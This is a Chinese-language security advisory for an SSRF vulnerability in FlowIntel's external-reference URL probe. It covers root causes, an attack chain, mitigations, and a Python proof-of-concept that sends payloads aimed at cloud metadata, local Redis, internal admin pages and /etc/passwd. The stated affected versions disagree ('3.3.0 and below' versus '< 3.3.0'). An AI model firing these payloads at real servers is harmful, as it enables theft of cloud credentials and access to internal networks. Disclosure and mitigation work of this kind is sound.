IPBUF安全漏洞报告
English
CVE-2026-9813 CVSS 9.9 严重

CVE-2026-9813 FlowIntel SSRF服务器端请求伪造漏洞

披露日期: 2026-05-28
来源: 5a6e4751-2f3f-4070-9419-94fb35b644e8

漏洞信息

漏洞编号
CVE-2026-9813
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FlowIntel

相关标签

SSRF服务器端请求伪造FlowIntelCVE-2026-9813严重漏洞3.3.0外部引用URL探测内部网络访问云元数据

漏洞概述

CVE-2026-9813是FlowIntel应用程序中的一个严重服务器端请求伪造(SSRF)漏洞,CVSS评分高达9.9分,属于严重级别。该漏洞存在于FlowIntel 3.3.0及以下版本的外部引用URL探测功能中,具体位于app/case/task.py文件。攻击者可以通过提交精心构造的外部引用URL,诱导应用程序服务器向攻击者指定的目标地址发起HTTP HEAD请求。由于该功能对URL方案和解析后的目标地址缺乏充分的验证和过滤,攻击者可以利用此漏洞访问服务器的内部网络资源,包括本地环回地址(127.0.0.1、localhost)、链路本地地址、私有IP地址段、保留地址空间,甚至云服务提供商的元数据端点(如AWS 169.254.169.254)。这使得攻击者能够从服务器的网络上下文与内部服务进行交互,可能导致敏感信息泄露、横向移动攻击或进一步的安全威胁。

技术细节

FlowIntel的外部引用URL探测功能在app/case/task.py中实现,当用户提交包含外部引用URL的内容时,系统会自动对该URL发起HTTP HEAD请求以验证其有效性。漏洞产生的根本原因在于:1)URL方案验证不足:系统未严格限制允许的URL方案,攻击者可使用file://、dict://、gopher://等协议进行探测;2)地址过滤缺失:系统未对解析后的IP地址进行有效过滤,允许请求访问私有地址、环回地址和保留网络段;3)重定向处理不当:系统可能跟随HTTP重定向到内部资源。攻击者可以通过在外部引用URL字段中注入如http://169.254.169.254/latest/meta-data/(AWS元数据端点)或http://localhost/admin/config等payload,利用服务器的身份发起请求并获取敏感信息或执行未授权操作。

攻击链分析

STEP 1
步骤1
攻击者获取FlowIntel应用程序的合法用户账户或通过其他方式获得低权限访问
STEP 2
步骤2
攻击者构造包含恶意URL的外部引用请求,payload指向内部网络资源(如AWS元数据端点、本地服务等)
STEP 3
步骤3
FlowIntel服务器接收请求后,在app/case/task.py中调用URL探测功能,对攻击者指定的URL发起HTTP HEAD请求
STEP 4
步骤4
由于缺少URL方案和目标地址的充分验证,服务器向攻击者指定的目标发起请求,可能返回敏感数据
STEP 5
步骤5
攻击者通过响应内容获取内部网络信息、敏感凭证或元数据,可能用于进一步横向移动或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-9813 SSRF PoC for FlowIntel # Target: FlowIntel <= 3.3.0 TARGET_URL = "http://target-server/flowintel" LOGIN_URL = f"{TARGET_URL}/login" EXTERNAL_REFERENCE_URL = "/case/external-reference/add" def exploit_ssrf(target_url, attacker_controlled_url): """ Exploit SSRF vulnerability in FlowIntel external reference URL probe """ session = requests.Session() # Step 1: Login to FlowIntel login_data = { 'username': 'attacker_account', 'password': 'attacker_password' } session.post(LOGIN_URL, data=login_data) # Step 2: Submit external reference URL with SSRF payload ssrf_payloads = [ f"http://169.254.169.254/latest/meta-data/", # AWS metadata f"http://localhost:6379/", # Redis access f"http://127.0.0.1/admin/config", # Internal admin f"file:///etc/passwd", # File protocol ] for payload in ssrf_payloads: data = { 'url': payload, 'description': 'SSRF Test' } response = session.post( f"{TARGET_URL}{EXTERNAL_REFERENCE_URL}", data=data ) print(f"Payload: {payload}") print(f"Response Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("-" * 50) if __name__ == "__main__": exploit_ssrf(TARGET_URL, "http://169.254.169.254/")

影响范围

FlowIntel < 3.3.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)禁用外部引用URL的自动探测功能;2)在网络层实施访问控制,阻止服务器对内部IP段和云元数据端点的访问;3)加强应用程序日志监控,及时发现异常URL探测行为;4)限制低权限用户创建外部引用的权限;5)使用Web应用防火墙(WAF)规则检测和阻止常见的SSRF payload特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表